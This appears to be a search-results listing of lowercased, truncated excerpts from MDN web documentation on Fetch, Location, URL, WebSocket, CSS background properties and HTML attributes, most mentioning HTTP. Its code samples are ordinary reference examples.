Fetch basic concepts - Web APIs
it will seem familiar to anyone who has used xmlhttprequest, but it provides a more powerful and flexible feature set.
... in a nutshell at the heart of fetch are the interface abstractions of http requests, responses, headers, and body payloads, along with a global fetch method for initiating asynchronous resource requests.
... because the main components of http are abstracted as javascript objects, it is easy for other apis to make use of such functionality.
Fetch API - Web APIs
WebAPIFetch API
it will seem familiar to anyone who has used xmlhttprequest, but the new api provides a more powerful and flexible feature set.
... it also defines related concepts such as cors and the http origin header semantics, supplanting their separate definitions elsewhere.
... differences from jquery the fetch specification differs from jquery.ajax() in three main ways: the promise returned from fetch() won’t reject on http error status even if the response is an http 404 or 500.
FileSystemEntry.toURL() - Web APIs
if your site is located at http://my-awesome-website.woot, and you have a temporary file system that contains an image file named awesomesauce.jpg, the url returned by tourl() might be (depending on the browser's implementation) something like "filesystem:http://my-awesome-website.woot/temporary/awesomesauce.jpg".
... code that makes use of this might look like this: let img = document.createelement("img"); img.src = imagefileentry.tourl(); document.body.appendchild(img); assuming the scenario mentioned before the code, the result would be html that looks like this being appended to the end of the document: <img src="filesystem:http://my-awesome-website.woot/temporary/awesomesauce.jpg"> browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntrySync - Web APIs
for example, if your app is in http://ww.html5rocks.com, open filesystem:http://www.html5rocks.com/temporary/ in a tab.
...you get something like: filesystem:http://example.com/temporary/lolcat.png.
... you can supply the mimetype to simulate the optional mime type header associated with http downloads.
HTMLAnchorElement.referrerPolicy - Web APIs
syntax refstr = anchorelt.referrerpolicy; anchorelt.referrerpolicy = refstr; values "no-referrer" meaning that the referer: http header will not be sent.
... examples var elt = document.createelement("a"); var linktext = document.createtextnode("my link"); elt.appendchild(linktext); elt.href = "https://developer.mozilla.org/"; elt.referrerpolicy = "no-referrer"; var div = document.getelementbyid("divaround"); div.appendchild(elt); // when clicked, the link will not send a referrer header.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLHyperlinkElementUtils.origin - Web APIs
the htmlhyperlinkelementutils.origin read-only property is a usvstring containing the unicode serialization of the origin of the represented url; that is: for url using the http or https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified); for url using file: scheme, the value is browser dependant; for url using the blob: scheme, the origin of the url following blob:.
... e.g "blob:https://mozilla.org" will have "https://mozilla.org".
... syntax string = object.origin; examples // on this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.origin' in that specification.
Recommended Drag Types - Web APIs
for example: var dt = event.datatransfer; dt.setdata("text/uri-list", "https://www.mozilla.org"); dt.setdata("text/plain", "https://www.mozilla.org"); as usual, set the text/plain type last, as a fallback for the text/uri-list type.
... for example, this sample text/uri-list data contains two links and a comment: http://www.mozilla.org #a second link http://www.example.com when retrieving a dropped link, ensure you handle when multiple links are dragged, including any comments.
...for example: http://www.mozilla.org mozilla http://www.example.com example dragging html and xml html content may use the text/html type.
Headers - Web APIs
WebAPIHeaders
the headers interface of the fetch api allows you to perform various actions on http request and response headers.
... note: you can find more out about the available headers by reading our http headers reference.
... note: all of the headers methods will throw a typeerror if you try to pass in a reference to a name that isn't a valid http header name.
Location: origin - Web APIs
WebAPILocationorigin
the origin read-only property of the location interface is a usvstring containing the unicode serialization of the origin of the represented url; that is: for url using the http or https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified); for url using file: scheme, the value is browser dependant; for url using the blob: scheme, the origin of the url following blob:.
... e.g "blob:https://mozilla.org" will have "https://mozilla.org".
... syntax string = object.origin; examples // on this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification status comment html living standardthe definition of 'origin' in that specification.
Location - Web APIs
WebAPILocation
anatomy of location html <span id="href" title="href"><span id="protocol" title="protocol">http:</span>//<span id="host" title="host"><span id="hostname" title="hostname">example.org</span>:<span id="port" title="port">8888</span></span><span id="pathname" title="pathname">/foo/bar</span><span id="search" title="search">?q=baz</span><span id="hash" title="hash">#bang</span></span> css html, body {height:100%;} html {display:table; width:100%;} body {display:table-cell; text-align:center; vertical-align:middle; f...
... examples // create anchor element and use href property for the purpose of this example // a more correct alternative is to browse to the url and use document.location or window.location var url = document.createelement('a'); url.href = 'https://developer.mozilla.org:8080/search?q=url#search-results-close-container'; console.log(url.href); // https://developer.mozilla.org:8080/search?q=url#search-results-close-container console.log(url.protocol); // https: console.log(url.host); // developer.mozilla.org:8080 console.log(url.hostname); // developer.mozilla.org console.log(url.port); // 8080 console.log(url.pathname); ...
...// /search console.log(url.search); // ?q=url console.log(url.hash); // #search-results-close-container console.log(url.origin); // https://developer.mozilla.org:8080 specifications specification status comment html living standardthe definition of 'location' in that specification.
Media Source API - Web APIs
dash dynamic adaptive streaming over http (dash) is a protocol for specifying how adaptive content should be fetched.
...while there are other protocols available (such as http live streaming (hls)), dash has the most platform support.
... dash moves lots of logic out of the network protocol and into the client side application logic, using the simpler http protocol to fetch files.
NonDocumentTypeChildNode.nextElementSibling - Web APIs
nextelementsibling; console.log('siblings of div-01:'); while (el) { console.log(el.nodename); el = el.nextelementsibling; } </script> this example outputs the following into the console when it loads: siblings of div-01: div script polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-child-elements.js if(!("nextelementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "nextelementsibling", { get: function(){ var e = this.nextsibling; while(e && 1 !== e.nodetype) e = e.nextsibling; return e; } }); } polyfill for ...
...internet explorer 9+ and safari // source: https://github.com/jserz/js_piece/blob/master/dom/nondocumenttypechildnode/nextelementsibling/nextelementsibling.md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('nextelementsibling')) { return; } object.defineproperty(item, 'nextelementsibling', { configurable: true, enumerable: true, get: function () { var el = this; while (el = el.nextsibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'childnodenextelementsibling' in that spe...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Using the Payment Request API - Web APIs
for this demo, simulate immediate success: paymentresponse.complete('success') .then(function() { // for demo purposes: intropanel.style.display = 'none'; successpanel.style.display = 'block'; }); }).catch(function(error) { if (error.code == domexception.not_supported_err) { window.location.href = 'https://bobpay.xyz/#download'; } else { // other kinds of errors; cancelled or failed payment.
... the merchant code would look like this: let paymentrequest = new paymentrequest( [{supportedmethods: 'https://example.com/preauth'}], ...); // send `canmakepayment` event to the payment handler.
... let preauthsuccess = ...; evt.respondwith(preauthsuccess); }); this payment handler would need to live in a service worker at https://example.com/preauth scope.
PerformanceResourceTiming - Web APIs
an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource, such as an xmlhttprequest, <svg>, image, or script.
... performanceresourcetiming.encodedbodysizeread only a number representing the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied content-codings.
... performanceresourcetiming.decodedbodysizeread only a number that is the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied content-codings.
PerformanceServerTiming - Web APIs
the performanceservertiming interface surfaces server metrics that are sent with the response in the server-timing http header.
...note that this interface is only available in secure contexts (https) in some browsers.
... example given a server that sends the server-timing header, for example a node.js server like this: const http = require('http'); function requesthandler(request, response) { const headers = { 'server-timing': ` cache;desc="cache read";dur=23.2, db;dur=53, app;dur=47.2 `.replace(/\n/g, '') }; response.writehead(200, headers); response.write(''); return settimeout(_ => { response.end(); }, 1000) }; http.createserver(requesthandler).listen(3000).on('error', console.
PerformanceTiming - Web APIs
performancetiming.redirectstart read only when the first http redirect starts.
... performancetiming.redirectend read only when the last http redirect is completed, that is when the last byte of the http response has been received.
... performancetiming.fetchstart read only when the browser is ready to fetch the document using an http request.
ProgressEvent() - Web APIs
when downloading a resource using http, this only represent the part of the content itself, not headers and other overhead.
...when downloading a resource using http, this only represent the content itself, not headers and other overhead.
... specifications specification status comment xmlhttprequestthe definition of 'progressevent()' in that specification.
Text.wholeText - Web APIs
WebAPITextwholeText
<strong>no insipid election coverage!</strong> however, <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> you decide you don’t like the middle sentence, so you remove it: para.removechild(para.childnodes[1]); later, you decide to rephrase things to, “thru-hiking is great, but casting a ballot is tricky.” while preserving the hyperlink.
...instead, you now effectively have this: <p>thru-hiking is great, but however, <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> you’d really prefer to treat all those adjacent text nodes as a single one.
...what we have now is this: <p>thru-hiking is great, but <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> some uses of the whole-text functionality may be better served by using node.textcontent, or the longstanding element.innerhtml; that’s fine and probably clearer in most circumstances.
URL() - Web APIs
WebAPIURLURL
examples // base urls let m = 'https://developer.mozilla.org'; let a = new url("/", m); // => 'https://developer.mozilla.org/' let b = new url(m); // => 'https://developer.mozilla.org/' new url('docs', b); // => 'https://developer.mozilla.org/docs' let d = new url('/docs', b); // => 'https://developer.mozilla.org/doc...
...s' new url('/docs', d); // => 'https://developer.mozilla.org/docs' new url('/docs', a); // => 'https://developer.mozilla.org/docs' new url('/docs', "https://developer.mozilla.org/fr-fr/toto"); // => 'https://developer.mozilla.org/docs' new url('/docs', ''); // raises a typeerror exception as '' is not a valid url new url('/docs'); // raises a typeerror exception as '/docs' is not a valid url new url('http://www.example.com', ); // => 'http://www.example.com/' new url('http://www.example.com', b); // => 'http://www.example...
....com/' new url("//foo.com", "https://example.com") // => 'https://foo.com' (see relative urls) specification specification status comment urlthe definition of 'url.url()' in that specification.
URL.origin - Web APIs
WebAPIURLorigin
the exact structure varies depending on the type of url: for http or https urls, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified).
... for blob: urls, the origin of the url following blob: will be used, e.g "blob:https://mozilla.org" will be returned as "https://mozilla.org".
... examples const url = new url("blob:https://mozilla.org:443/") console.log(url.origin); // logs 'https://mozilla.org' specifications specification status comment urlthe definition of 'url.origin' in that specification.
URLSearchParams.set() - Web APIs
examples let's start with a simple example: let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a third parameter.
... 'use strict' function genurl(rexp, atext, bdebug=false){ let theurl theurl= new url('https://regexr.com') theurl.searchparams.set( 'expression', rexp.tostring() ) theurl.searchparams.set( 'tool', 'replace' ) theurl.searchparams.set( 'input', '\u2911\u20dc' )// ⤑⃜ theurl.searchparams.set( 'text', atext.join('\n') ) if( bdebug ){ // display the key/value pairs for(var pair of theurl.searchparams.entries()) { console.debug(pair[0] + ' = \'' + pair[1] + '\''); } consol...
...e.debug(theurl) } return theurl } var url = genurl( /(^\s*\/\/|\s*[^:]\/\/).*\s*$|\s*\/\*(.|\n)+?\*\/\s*$/gm // single/multi-line comments // /(^\s*\/\/.*|\s*[^:]\/\/.*)/g // single-line comments ,[ "these should work:", "", "// eslint-disable-next-line no-unused-vars", "lockpref( 'keyword.url',\t\t'https://duckduckgo.com/html/?q=!+' )\t// test", "/*", " * bla bla ", "*/", "", "/* bla bla */", "", "// bla bla ", "", "these shouldn\'t work:", "console.log(\"http://foo.co.uk/\")", "var url = \"http://regexr.com/foo.html?q=bar\"", "alert(\"https://mediatemple.net\")", ] , true ) console.info( url, url.tostring() ) // window.open( url, 'regex_site' ) specifications specification status comment urlthe definition of...
URLUtilsReadOnly.origin - Web APIs
the urlutilsreadonly.origin read-only property is a domstring containing the unicode serialization of the origin of the represented url, that is, for http and https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified).
... syntax string = object.origin; examples // on this page, returns the origin var result = self.location.origin; // returns:'https://developer.mozilla.org:443' specifications specification status comment urlthe definition of 'urlutilsreadonly.origin' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Writing a WebSocket server in Java - Web APIs
inputstream in = client.getinputstream(); outputstream out = client.getoutputstream(); scanner s = new scanner(in, "utf-8"); handshaking when a client connects to a server, it sends a get request to upgrade the connection to a websocket from a simple http request.
... you must, obtain the value of sec-websocket-key request header without any leading and trailing whitespace link it with "258eafa5-e914-47da-95ca-c5ab0dc85b11" compute sha-1 and base64 code of it write it back as value of sec-websocket-accept response header as part of a http response.
... if (get.find()) { matcher match = pattern.compile("sec-websocket-key: (.*)").matcher(data); match.find(); byte[] response = ("http/1.1 101 switching protocols\r\n" + "connection: upgrade\r\n" + "upgrade: websocket\r\n" + "sec-websocket-accept: " + base64.getencoder().encodetostring(messagedigest.getinstance("sha-1").digest((match.group(1) + "258eafa5-e914-47da-95ca-c5ab0dc85b11").getbytes("utf-8"))) + "\r\n\r\n").getbytes("utf-8"); out.write(response, 0, response.length); decoding messages after a successful handshake, client can send messages to the server, but now these are encoded.
WebXR performance guide - Web APIs
can probably also include stuff from https://github.com/immersive-web/webxr/blob/master/explainer.md#changing-the-field-of-view-for-inline-sessions managing rendering quality ...
... this section will come in part from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-rendering-quality managing frame rate ...
... this section will combine information from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-depth-precision and https://github.com/immersive-web/webxr/blob/master/explainer.md#preventing-the-compositor-from-using-the-depth-buffer optimizing memory use when using libraries that perform things such as matrix mathematics, you typically have a number of working variables through which various vectors, matrices, and quaternions pass over time.
Web Authentication API - Web APIs
- the server is connected by https or is the localhost), and will not be available for use if the browser is not operating in a secure context.
...typically, server communications would be rest over https (probably using xmlhttprequest or fetch), but they could also be soap, rfc 2549 or nearly any other protocol provided that the protocol is secure.
...typically, server communications would be rest over https (probably using xmlhttprequest or fetch), but they could also be soap, rfc 2549 or nearly any other protocol provided that the protocol is secure.
Functions and classes available to Web Workers - Web APIs
8 (8) no support no support no support formdata formdata objects provide a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest send() method.
... basic implementation (yes) appcodename, product, taintenabled(): 28 (28) online: 29 (29) navigatorlanguage: (yes) appname, appversion, online, platform, useragent: 10.0 other: no support (yes) (yes) xmlhttprequest creates and returns a new xmlhttprequest object; this mimics the behavior of the standard xmlhttprequest() constructor.
... note that the responsexml and channel attributes on xmlhttprequest always return null.
Using Web Workers - Web APIs
in addition, they can perform i/o using xmlhttprequest (although the responsexml and channel attributes are always null).
...in addition, workers may use xmlhttprequest for network i/o, with the exception that the responsexml and channel attributes on xmlhttprequest always return null.
... functions and interfaces available in workers you can use most standard javascript features inside a web worker, including: navigator xmlhttprequest array, date, math, and string windowtimers.settimeout and windowtimers.setinterval the main thing you can't do in a worker is directly affect the parent page.
window.location - Web APIs
WebAPIWindowlocation
this means that you can work with location as if it were a string in most cases: location = 'http://www.example.com' is a synonym of location.href = 'http://www.example.com'.
... location.assign("http://www.mozilla.org"); // or location = "http://www.mozilla.org"; example #2: force reloading the current page from the server location.reload(true); example #3 consider the following example, which will reload the page by using the replace() method to insert the value of location.pathname into the hash: function reloadpagewithhash() { var initialpage = location.pathname; location.replace...
...('http://example.com/#' + initialpage); } example #4: display the properties of the current url in an alert dialog: function showloc() { var olocation = location, alog = ["property (typeof): value", "location (" + (typeof olocation) + "): " + olocation ]; for (var sprop in olocation){ alog.push(sprop + " (" + (typeof olocation[sprop]) + "): " + (olocation[sprop] || "n/a")); } alert(alog.join("\n")); } // in html: <button onclick="showloc();">show location properties</button> example #5: send a string of data to the server by modifying the search property: function senddata (sdata) { location.search = sdata; } // in html: <button onclick="senddata('some data');">send data</button> the current url with "?some%20data" appended is sent to the server (if no action is taken by ...
Window: popstate event - Web APIs
examples a page at http://example.com/example.html running the following code will generate logs as indicated: window.addeventlistener('popstate', (event) => { console.log("location: " + document.location + ", state: " + json.stringify(event.state)); }); history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); histor...
...y.back(); // logs "location: http://example.com/example.html?page=1, state: {"page":1}" history.back(); // logs "location: http://example.com/example.html, state: null" history.go(2); // logs "location: http://example.com/example.html?page=3, state: {"page":3}" the same example using the onpopstate event handler property: window.onpopstate = function(event) { console.log("location: " + document.location + ", state: " + json.stringify(event.state)); }; history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.back(); // logs "location: http://example.com/example.html?page=1, state: {"page":1}" history.back(); // logs "location: http://example.com/example.html, state: null" history.
...go(2); // logs "location: http://example.com/example.html?page=3, state: {"page":3}" note that even though the original history entry (for http://example.com/example.html) has no state object associated with it, a popstate event is still fired when we activate that entry after the second call to history.back().
-moz-image-rect - CSS: Cascading Style Sheets
#box1 { background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 0%, 50%, 50%, 0%); width:133px; height:136px; position:absolute; } this is the top-left corner of the image.
... #box2 { background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 0%, 100%, 50%, 50%); width:133px; height:136px; position:absolute; } this defines the top-right corner of the image.
... the other corners follow a similar pattern: #box3 { background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 50%, 50%, 100%, 0%); width:133px; height:136px; position:absolute; } #box4 { background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 50%, 100%, 100%, 50%); width:133px; height:136px; position:absolute; } html the html is quite simple: <div id="container" onclick="rotate()"> <div id="box1" style="left:0px;top:0px;">top left</div> <div id="box2" style="left:133px;top:0px;">top right</div> <div id="box3" style="left:0px;top:136px;">bottom left</div> <div id="box4" style="left:133px;top:136px;">bottom right</div> </div> this places the four segments of our image in a two-by-two box grid...
@document - CSS: Cascading Style Sheets
WebCSS@document
@document url("https://www.example.com/") { h1 { color: green; } } syntax an @document rule can specify one or more matching functions.
... formal syntax @document [ <url> | url-prefix(<string>) | domain(<string>) | media-document(<string>) | regexp(<string>) ]# { <group-rule-body> } examples specifying document for css rule @document url("http://www.w3.org/"), url-prefix("http://www.w3.org/style/"), domain("mozilla.org"), media-document("video"), regexp("https:.*") { /* css rules here apply to: - the page "http://www.w3.org/" - any page whose url begins with "http://www.w3.org/style/" - any page whose url's host is "mozilla.org" or ends with ".mozilla.org" - any stand...
...alone video - any page whose url starts with "https:" */ /* make the above-mentioned pages really ugly */ body { color: purple; background: yellow; } } specifications initially in css conditional rules module level 3, @document has been postponed to level 4.
Resizing background images with background-size - CSS: Cascading Style Sheets
html <div class="tiledbackground"> </div> css .tiledbackground { background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); background-size: 150px; width: 300px; height: 300px; border: 2px solid; color: pink; } result stretching an image you can also specify both the horizontal and vertical sizes of the image, like this: background-size: 300px 150px; the result looks like this: scaling an image up on the other end of the ...
... html <div class="bgsizecontain"> <p>try resizing this element!</p> </div> css .bgsizecontain { background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); background-size: contain; width: 160px; height: 160px; border: 2px solid; color: pink; resize: both; overflow: scroll; } result cover the cover value specifies that the background image should be sized so that it is as small as possible while ensuring that both dimensions are greater than or equal to the...
... html <div class="bgsizecover"> <p>try resizing this element!</p> </div> css .bgsizecover { background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); background-size: cover; width: 160px; height: 160px; border: 2px solid; color: pink; resize: both; overflow: scroll; } result see also background-size background scaling of svg backgrounds ...
background-attachment - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...</p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"); background-attachment: fixed; } result multiple background images this property supports multiple background images.
...</p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-attachment' in that specificati...
background-image - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... to specify multiple background images, supply multiple values, separated by a comma: background-image: linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)), url('https://mdn.mozillademos.org/files/7693/catfront.png'); values none is a keyword denoting the absence of images.
... </p> <p>and no more.</p> </div> css p { font-size: 1.5em; color: #fe7f88; background-image: none; background-color: transparent; } div { background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png"); } .catsandstars { background-image: url("https://mdn.mozillademos.org/files/11991/startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-color: transparent; } result specifications specification status comment css backgrounds and borders module l...
background-position-x - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... html <div></div> css div { width: 300px; height: 300px; background-color: skyblue; background-image: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png); background-repeat: no-repeat; background-position-x: center; background-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-x' in that specificatio...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
background-position-y - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... html <div></div> css div { width: 300px; height: 300px; background-color: skyblue; background-image: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png); background-repeat: no-repeat; background-position-x: center; background-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-y' in that specificatio...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
background-repeat - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...hree"></div> </li> <li>repeat-y <div class="four"></div> </li> <li>space <div class="five"></div> </li> <li>round <div class="six"></div> </li> <li>repeat-x, repeat-y (multiple images) <div class="seven"></div> </li> </ol> css /* shared for all divs in example */ ol, li { margin: 0; padding: 0; } li { margin-bottom: 12px; } div { background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif); width: 160px; height: 70px; } /* background repeats */ .one { background-repeat: no-repeat; } .two { background-repeat: repeat; } .three { background-repeat: repeat-x; } .four { background-repeat: repeat-y; } .five { background-repeat: space; } .six { background-repeat: round; } /* multiple images */ .seven { background-i...
...mage: url(https://mdn.mozillademos.org/files/12005/starsolid.gif), url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png); background-repeat: repeat-x, repeat-y; height: 144px; } result in this example, each list item is matched with a different value of background-repeat.
image() - CSS: Cascading Style Sheets
examples directionally-sensitive images <ul> <li dir="ltr">bullet is a right facing arrow on the left</li> <li dir="rtl">bullet is the same arrow, flipped to point left.</li> </ul> ul { list-style-image: image(ltr 'https://mdn.mozillademos.org/files/16412/rightarrow.png'); } in the left-to-right list items — those with dir="ltr" set on the element itself or inheriting the directionality from an ancestor or default value for the page — the image will be used as-is.
...what cursor do you see?</div> .box:hover { cursor: image("https://mdn.mozillademos.org/files/16411/sprite.png#xywh=32,64,16,16"); } when the user hovers over the box, the cursor will change to display the 16x16 px section of the sprite image, starting at x=32 and y=64.
... putting color on top of a background image .quarterlogo {height: 200px; width: 200px; border: 1px solid;} .quarterlogo { background-image: image(rgba(0, 0, 0, 0.25)), url("https://mdn.mozillademos.org/files/12053/firefox.png"); background-size: 25%; background-repeat: no-repeat; } <div class="quarterlogo">if supported, a quarter of this div has a darkened logo</div> the above will put a semi-transparent black mask over the firefox logo background image.
object-position - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... <img id="object-position-1" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> <img id="object-position-2" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> css the css includes default styling for the <img> element itself, as well as separate styles for each of the two images.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
position - CSS: Cascading Style Sheets
WebCSSposition
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> css body { width: 500px; margin: 0 auto; } p { background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { background: red; border: 1px solid black; } .positioned { position: absolute; background: yellow; top: 30px; left: 30px; } result fixed positioning fixed positioning is similar to a...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Audio and video manipulation - Developer guides
html we can set up our video player and <canvas> element like this: <video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.webm" type="video/webm"> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type="video/mp4"> </video> <canvas id="my-canvas" width="480" height="270"></canvas> javascript this code handles altering the frames.
... html <video id="my-video" controls src="https://udn.realityripple.com/samples/6f/08625b424a.m4v"> </video> javascript var myvideo = document.getelementbyid('my-video'); myvideo.playbackrate = 2; playable code <video id="my-video" controls="true" width="480" height="270"> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.webm" type="video/webm"> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" typ...
...ontext.createmediaelementsource(document.getelementbyid("my-video")), filter = context.createbiquadfilter(); audiosource.connect(filter); filter.connect(context.destination); // configure filter filter.type = "lowshelf"; filter.frequency.value = 1000; filter.gain.value = 25; playable code <video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.webm" type="video/webm"> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type="video/mp4"> </video> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code"> filter.type = "lowshelf"; filter.frequency.valu...
Parsing and serializing XML - Developer guides
xmlhttprequest loads content from a url; xml content is returned as an xml document object with a dom tree built from the xml itself.
..."error while parsing" : odom.documentelement.nodename); parsing url-addressable resources into dom trees using xmlhttprequest here is sample code that reads and parses a url-addressable xml file into a dom tree: var xhr = new xmlhttprequest(); xhr.onload = function() { dump(xhr.responsexml.documentelement.nodename); } xhr.onerror = function() { dump("error while getting xml."); } xhr.open("get", "example.xml"); xhr.responsetype = "document"; xhr.send(); the value returned in the xhr object's responsexml f...
...alternatively, use a dom tree obtained from xmlhttprequest.
HTML attribute: crossorigin - HTML: Hypertext Markup Language
the "anonymous" keyword means that there will be no exchange of user credentials via cookies, client-side ssl certificates or http authentication as described in the terminology section of the cors specification, unless it is in the same origin.
... example: crossorigin with the script element you can use the following <script> element to tell a browser to execute the https://example.com/example-framework.js script without sending user-credentials.
... <script src="https://example.com/example-framework.js" crossorigin="anonymous"></script> example: webmanifest with credentials the use-credentials value must be used when fetching a manifest that requires credentials, even if the file is from the same origin.
HTML attribute reference - HTML: Hypertext Markup Language
content <meta> a value associated with http-equiv or name depending on the context.
... http-equiv <meta> defines a pragma directive.
... method <form> defines which http method to use when submitting the form.
<area> - HTML: Hypertext Markup Language
WebHTMLElementarea
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... "no-referrer-when-downgrade" meaning that no referer: header will be sent when navigating to an origin without tls (https).
...(the w3c 5.3 fork of the html specification defines it as valid, but the canonical html specification doesn’t, and it has no effect in any user agents.) examples <map name="primary"> <area shape="circle" coords="75,75,75" href="left.html" alt="click to go left"> <area shape="circle" coords="275,75,75" href="right.html" alt="click to go right"> </map> <img usemap="#primary" src="https://udn.realityripple.com/samples/6a/7e559101b3.png" alt="350 x 150 pic"> result specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
<base>: The Document Base URL element - HTML: Hypertext Markup Language
WebHTMLElementbase
<a href="#some-id"> — are resolved with the <base>, triggering an http request to the base url with the fragment attached.
... for example: given <base href="https://example.com"> ...and this link: <a href="#anchor">anker</a> ...the link points to https://example.com/#anchor.
...for example: <meta property="og:image" content="https://example.com/thumbnail.jpg"> examples <base href="https://www.example.com/"> <base target="_blank"> <base target="_top" href="https://example.com/"> specifications specification status comment html living standardthe definition of '<base>' in that specification.
<button>: The Button element - HTML: Hypertext Markup Language
WebHTMLElementbutton
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... formmethod html5 if the button is a submit button (it's inside/associated with a <form> and doesn't have type="button"), this attribute specifies the http method used to submit the form.
... possible values: post: the data from the form are included in the body of the http request when sent to the server.
Link types - HTML: Hypertext Markup Language
this is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document via the window.opener property (see about rel=noopener for more details), while still providing the referer http header (unless noreferrer is used as well).
... <a>, <area>, <form> <link> noreferrer prevents the browser, when navigating to another page, to send this page address, or any other value, as referrer via the referer: http header.
... note: if the x-pingback: http header is also present, it supersedes the <link> element with this link type.
Microdata - HTML: Hypertext Markup Language
